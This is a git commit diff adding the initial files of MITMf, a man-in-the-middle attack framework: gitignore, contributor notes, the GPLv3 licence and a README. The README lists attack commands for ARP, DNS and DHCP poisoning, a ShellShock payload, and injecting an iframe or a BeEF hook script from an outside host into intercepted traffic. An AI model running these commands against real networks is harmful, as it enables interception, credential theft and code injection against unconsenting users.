commit eea5f53be2d0001417be982c615d44a01c6d8957 Author: byt3bl33d3r Date: Sat Feb 6 13:27:08 2016 -0700 Initial commit for v1.0 using mitmproxy instead of twisted Added a plugin system to Net-Creds so you can now add your own parsers, api hook names might change between now and the offcial release (will submit a PR to the original repo once completed) The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts the code down by an insane amount, no more twisted! yay! Basic plugin have been re-wrote for the new proxy engine Since we are using mitmproxy we have out of the box support for SSL/TLS! diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0860090 --- /dev/null +++ b/.gitignore @@ -0,0 +1,59 @@ +/plugins/old_plugins/ +backdoored/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7154da3 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,52 @@ +Contributing +============ +Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! + +Submitting Issues/Bug Reporting +============= + +Bug reporting is an essential part of any project since it let's people know whats broken! + +Before reading on, here's a list of cases where you **shouldn't** be reporting the bug: +- If you haven't installed MITMf using method described in the [installation](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) intructions. (your fault!) +- If you're using and old version of the framework (and by old I mean anything else that **isn't** the current version on Github) +- If you found a bug in a packaged version of MITMf (e.g. Kali Repos), please file a bug report with the distros maintaner + +Lately, there has been a sharp **increase** in the volume of bug reports so in order for me to make any sense out of them and to quickly identify, reproduce and push a fix I do pretend a minimal amount of cooperation from the reporter! + +Writing the report +================== +**Before submitting a bug familiarize yourself with [Github markdown](https://help.github.com/articles/github-flavored-markdown/) and use it in your report!** + +After that, open an issue ticket and please describe the bug in **detail!** MITMf has a lot of moving parts so the more detail the better! + +Include in the report: +- The full command string you used +- The full output of: ```pip freeze``` +- The full output of MITMf in debug mode (append ```--log debug``` to the command you used) +- The OS you're using (distribution and architecture) +- The full error traceback (If any) +- If the bug resides in the way MITMf sends/receives packets, include a link to a pcap containing a full packet capture + +Some good & bad examples +========================= + +- How to write a bug report + +https://github.com/byt3bl33d3r/MITMf/issues/71 + +https://github.com/byt3bl33d3r/MITMf/issues/70 + +https://github.com/byt3bl33d3r/MITMf/issues/64 + +- How not to write a bug report + +https://github.com/byt3bl33d3r/MITMf/issues/35 <-- My personal favorite + +https://github.com/byt3bl33d3r/MITMf/issues/139 + +https://github.com/byt3bl33d3r/MITMf/issues/138 + +https://github.com/byt3bl33d3r/MITMf/issues/128 + +https://github.com/byt3bl33d3r/MITMf/issues/52 diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..117d02f --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,22 @@ +#Intentional contributors (in no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @golind +- @mmetince +- @niallmerrigan +- @auraltension +- @HAMIDx9 + +#Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- Responder by Laurent Gaffie +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework +- Impacket's KarmaSMB script diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..70566f2 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ +GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..37236bc --- /dev/null +++ b/README.md @@ -0,0 +1,139 @@ +![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) +[![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) +[![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf) +[![Coverage Status](https://coveralls.io/repos/byt3bl33d3r/MITMf/badge.svg?branch=master&service=github)](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master) + +#MITMf + +Framework for Man-In-The-Middle attacks + +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io + +This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. + +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- Email: byt3bl33d3r@gmail.com + +**Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .** + +Installation +============ + +Please refer to the wiki for [installation instructions](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) + +Description +============ +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving +existing attacks and techniques. + +Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely +re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. + +Features +======== + +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. + +- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), +allowing users to modify any type of traffic or protocol. + +- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack. + +- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. + +- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. + +Active packet filtering/modification +==================================== + +You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!) + +For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: + +```python +if packet.haslayer(ICMP): + log.info('Got an ICMP packet!') + packet.dst = '192.168.1.0' +``` + +- Use the ```packet``` variable to access the packet in a Scapy compatible format +- Use the ```data``` variable to access the raw packet data + +Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` + +You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) + +**Note**: you can modify filters on-the-fly without restarting MITMf! + +Examples +======== + +The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: + +```python mitmf.py -i enp3s0``` + +ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1``` + +Same as above + a WPAD rogue proxy server using the **Responder** plugin: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad``` + +ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1: + +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1``` + +Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): + +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +Enable LLMNR/NBTNS/MDNS spoofing: + +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` + +Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): + +```python mitmf.py -i enp3s0 --spoof --dhcp``` + +Same as above with a ShellShock payload that will be executed if any client is vulnerable: + +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` + +Inject an HTML IFrame using the **Inject** plugin: + +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` + +Inject a JS script: + +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` + +And much much more! + +Of course you can mix and match 